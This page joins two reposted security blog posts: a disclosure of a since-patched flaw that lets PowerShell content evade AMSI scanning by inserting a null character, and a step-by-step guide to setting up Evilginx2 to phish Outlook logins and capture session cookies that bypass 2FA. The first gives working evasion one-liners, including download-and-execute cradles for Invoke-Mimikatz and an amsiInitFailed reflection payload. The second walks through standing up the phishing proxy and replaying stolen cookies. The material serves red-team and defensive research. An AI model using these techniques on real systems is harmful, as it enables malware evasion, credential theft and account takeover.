AMSI Bypass With a Null Character

Original text by Satoshi’s note

In this blog post, I am going to look into a flaw I reported a few months ago and see how the flaw could have been exploited to execute malicious PowerShell scripts and commands while bypassing AMSI based detection. This issue has been fixed as defense-in-depth with the February Update.

What is AMSI

AMSI, Anti-malware Scan Interface, is a mechanism Windows 10+ provides security software vendors for developing software that subscribes certain events and detects malicious contents. AMSI issues several types of events, but the most commonly used one by the software vendors is arguably the events about execution of scripts, where software can receive contents of those scripts and commands about to be executed (I will refer to them as contents simply), then scan and block them. 
The below illustration is an overview of how this event is generated and notified to security software for scanning.

The red boxes are security software that subscribes the events from AMSI and are called AMSI providers. When supported script engines such as PowerShell (i.e., System.Management.Automation.dll) and Windows Script Host (e.g., JScript.dll) execute contents, they call one of the functions exported from amsi.dll with the contents to scan with AMSI providers.  
As illustrated above, AMSI providers rely on script engines to call the exported function and forward contents properly through amsi.dll; or, they would not receive contents and detect malicious strings.

The Bug

The bug fixed was System.Management.Automation.dll did not take account of that PowerShell contents could include null characters in them and called AmsiScanString, which treated a null character as the end of contents, to forward contents to AMSI providers. Here is the prototype of the API.—-

  _In_     HAMSICONTEXT amsiContext,
  _In_     LPCWSTR      string,   // Will be terminated at the first null character
  _In_     LPCWSTR      contentName,
  _In_opt_ HAMSISESSION session,
  _Out_    AMSI_RESULT  *result

Because of this bug, amsi.dll could truncate contents (value of «string» above) at the first null character and then send to AMSI providers. This results in that AMSI providers not being able to scan all of the contents and detect malicious strings.


The basic idea for exploitation is to place a null character into PowerShell contents before malicious strings appear.

File Based Exploitation

As a basic exploitation scenario, let us assume we are trying to execute Invoke-Mimikatz like this and being detected.—-> powershell «IEX (New-Object Net.WebClient).DownloadString(‘’)»—-

This is because the contents being Invoke-Expression’d are visible to AMSI providers as shown in the below screenshot.

Such detection can be bypassed by placing a null character at the beginning of the file being Invoke-Expression’d.

—-> powershell «IEX (New-Object Net.WebClient).DownloadString(‘’)»—-This successfully bypasses scan and detection by AMSI providers as seen below («Get-ChildItem Function: | Select-String Invoke» is added for a demonstration purpose).

Command Line Based Exploitation

With the above successful bypass, you might try to execute loaded Invoke-Mimikatz like below, but find it gets detected due to an appearance of «Invoke-Mimikatz» in the command line.—-powershell «IEX (New-Object Net.WebClient).DownloadString(‘’); Invoke-Mimikatz -DumpCerts»—-
A naive approach with Invoke-Expression could bypass process command line based detection but not AMSI based one, as «Invoke-Mimikatz» will still be visible to AMSI providers. Here is such an unsuccessful attempt.—-powershell «IEX (New-Object Net.WebClient).DownloadString(‘’); IEX (‘Invoke-‘+’Mimikatz -DumpCerts’)»—-

To bypass AMSI detection in this scenario, we can insert a null character into the command line with a bit of string manipulation.—-powershell «IEX (New-Object Net.WebClient).DownloadString(‘’); IEX (‘if(0){{{0}}}’ -f $(0 -as [char]) + ‘Invoke-‘+’Mimikatz -DumpCerts’)»—-
The highlighted part prepends a null character that never gets executed to the original command line. A resulted string will look like this.—-if (0) {<NULL>} the rest of commands—-
This can successfully prevent AMSI providers from receiving all of the contents and detecting «Invoke-Mimikatz.»

Summary of Exploitation

For file contents, insert «#<NULL>» at the beginning of the file, and any places where additional scans with AMSI occur. To identify the latter places, some try-and-error will be needed. Using a debugger and logging invocation of AmsiScanString with the below command will be helpful.—-bp amsi!AmsiScanString «du @rdx;g»—-
For command line contents, wrap them into Invoke-Expression and prepend «‘if(0){{{0}}}’ -f $(0 -as [char]) +». Here is another step-by-step example to bypass detection on «AmsiUtils» and «amsiInitFailed» in the below contents:—-[Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true)—-
1. Wrap the original contents with Invoke-Expression.—-IEX (‘[Ref].Assembly.GetType(«System.Management.Automation.AmsiUtils»).GetField(«amsiInitFailed»,»NonPublic,Static»).SetValue($null,$true)’)—-
2. Prepend the null character to bypass AMSI based detection.—-IEX (‘if(0){{{0}}}’ -f $(0 -as [char]) + ‘[Ref].Assembly.GetType(«System.Management.Automation.AmsiUtils»).GetField(«amsiInitFailed»,»NonPublic,Static»).SetValue($null,$true)’)—-
3. Make any modification sufficient to bypass command line based detection.—-IEX (‘if(0){{{0}}}’ -f $(0 -as [char]) + ‘[Ref].Assembly.GetType(«System.Management.Automation.Amsi’+’Utils»).GetField(«amsi’+’InitFailed»,»NonPublic,Static»).SetValue($null,$true)’)—-
It is worth noting that this exploitation is usable even on the Constrained Language Mode and does not trigger any event logs, unlike the most of AMSI bypass techniques which use reflection.

Fix and Recommendation

The fix Microsoft made was to use AmsiScanBuffer instead of AmsiScanString in System.Management.Automation.dll. As shown below, this function accepts arbitrary byte sequence for contents.—-

  _In_     HAMSICONTEXT amsiContext,
  _In_     PVOID        buffer,  // Not terminated at the null character
  _In_     ULONG        length,
  _In_     LPCWSTR      contentName,
  _In_opt_ HAMSISESSION session,
  _Out_    AMSI_RESULT  *result


This way, AMSI providers can receive and scan entire contents even if a null character appears in the middle.
In theory, no action other than applying the patch should be required. However, software vendors using AMSI to scan PowerShell contents should review whether it can handle null characters properly should they appear.

Additionally, security researchers and users of security software can test if their AMSI providers are vulnerable to the bypass technique and ask vendors to address issues if needed. Also, it might be worth monitoring any appearance of a null character in PowerShell contents to detect attempts to exploit this issue.
As for other script engines, PowerShell Core is also affected but does not have a patch as of this writing yet. Windows Script Host is not affected as its interpreter stops reading script contents at the first null character, unlike PowerShell.


Kudos to Alex Ionescu (@aionescu) for helping me report this issue, and Microsoft for fixing it.



Original text by Austin Downing

Phishing Users using Evilginx and Bypassing 2FA


Phishing is one of the largest ways that organizations are being compromised in 2019. The common recommendation is that all users should have two factor authentication (2FA) enabled on their accounts to help combat the issue of phishing. What if attackers could bypass a organizations 2FA configuration? In this blog post we will look at how to setup the tool Evilginx2 and how it can be used to phish users when conducting red team engagement or for the blue team to test against their own users.

Only a few things will be needed before you start following this guide.

  • A Domain you control
  • DNS for the domain you control
  • AWS Free Tier Account


Evilginx2 needs a few ports opened up for it to work properly. Start by creating a new AWS security group and name it something that you are able to remember. We will need to open the following inbound ports.

  • HTTP
  • SSH
  • DNS (UDP)
  • DNS (TCP)

We will also need to setup some DHCP options, these can be edited from the VPC Console. We will want to set our domain name to the internal AWS domain for the region and availability group we are planning to use. For this blog post we will be using the US-East-2 region which uses the domain name us-east-2-compute.internal. We will be using the AWS nameserver for this demo.

After you have created your DHCP Options you will want to assign it to your VPC that you are running your evilginx2 box out of.

Now we are ready to create our EC2 instance, for this demo we will be using the Ubuntu 18.04 x64.


At this point we should have a Ubuntu 18.04 instance running with the DHCP and Security Group settings we previously configured applied. Lets login to our newly created Ubuntu machine.

After running the inaugural sudo apt update && sudo apt upgrade we are ready to install GOLang as Evilginx2 is built using GOLang. All that is needed to run the following commands.

sudo apt install golang-go


We are now ready to install Evilginx2 which can be obtained here


chmod 700 ./

sudo ./


Now that we have Evilginx2 installed we need to update some of our DNS on our instance so that Evilginx will be able to work properly. By default the AWS Ubuntu instance symlinks /etc/resolv.conf to /run/systemd/resolve/stub-resolv.conf. This configuration file has the option “EDNS0” enabled by default which our team found causes issues due to Evilginx not supporting EDNS properly.

sudo rm /etc/resolv.conf

sudo ln -s /run/systemd/resolve/resolv.conf /etc/resolv.conf

Next we need to update our host file to point the website we are hosting at our internal IP address.

[internal IP]

Now that we configured our local DNS settings we will need to stop the local DNS server so that Evilginx2 can take its place.

sudo systemctl stop systemd-resolved.service


If you want to only use the machine you have created to run Evilginx2 then you can permentantly disable the DNS server with the following command.

sudo systemctl disable systemd-resolved.service


Now that we have our system configured we need to update our external DNS records to point all traffic destined for our URL to our new server regardless of the subdomain. We will also need to create two A records for name servers and We will also need to create a wildcard CNAME record to catch all subdomains using a record for * For this demonstration we will be using the domain

Once we have verified our new DNS records have propagated using NSLookup we are ready to start Evilginx2.


sudo evilginx


If everything is setup correctly you should be presented with the following screen.

To correct any errors complaining about DNS resolution make sure you replaced the sylink to /run/systemd/resolv/stub-resolv.conf with a symlink to /run/systemd/resolv/resolv.conf. If errors regarding being unable to bind on port 53 appear make sure you have stopped the systemd-resolved.service.

Now that Evilginx2 is running we can configure some basic settings needed to allow Evilginx2 to work.

To see the current configuration run the following command.


As you can see we do not have a domain or IP configured for our Evilginx2 instance. To configure each of those run the following commands.

config IP [external IP address]
config domain [domain you own]


Now that we have set the external IP and domain we are using we are ready to setup our phishlets. For this example we will be using the phishlet Outlook.

phishlets hostname [phishlet name] []
phishlets enable [phishlet]


After enabling the phishlet we configured, we will see that Evilginx2 reaches out to Let’s Encrypt to get a valid cert. If everything worked we should be able to run the command “phishlets” and see our domain and that our phishlet was enabled.

Now that we have enabled our phishlet we need to configure its lures.

lures create outlook


We can now see our phishlet lure and and its ID and current path by just typing “lures”

The last two things that need to be configured is our path and the URL we would like to redirect to after our target inputs a username and password.

lures edit path [ID] [path name]
lures edit redirect_url [ID] [URL]


Our final output should look like this.

If you want to see the full URL you have configured run the following command.

lures get-url [0]


Lets browse to our newly setup phishing site. As you can see below unless a user pays attention to the entire URL they could miss that they are not actually on but instead on


At this point we should have some usernames and passwords from users we have phished. We can verify this by running the command “sessions” which will list all data gathered so far. If we want more information we can run sessions [ID] and gather not only the username and password but all the session key needed to bypass 2FA.

Using the session key we capture we can the Chrome plugin EditThisCookie to import the cookie we captured and bypass 2FA for the account.

Now we have everything we need to impersonate a user and start moving laterally through systems. Happy hunting!  VDA would love to help your organization test the security of their staff with this and other advanced techniques, contact us about a pentest today.